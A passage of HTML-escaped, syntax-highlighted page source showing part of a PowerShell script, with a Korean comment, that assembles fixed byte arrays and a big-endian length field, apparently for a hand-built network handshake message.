class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xae&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xdf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;91&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;51&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xa&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;75&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xcd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CombinedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FixedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes4&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CombinedBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 또 다른 고정된 바이트 배열&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AnotherFixedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;07&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xe&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xeb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span 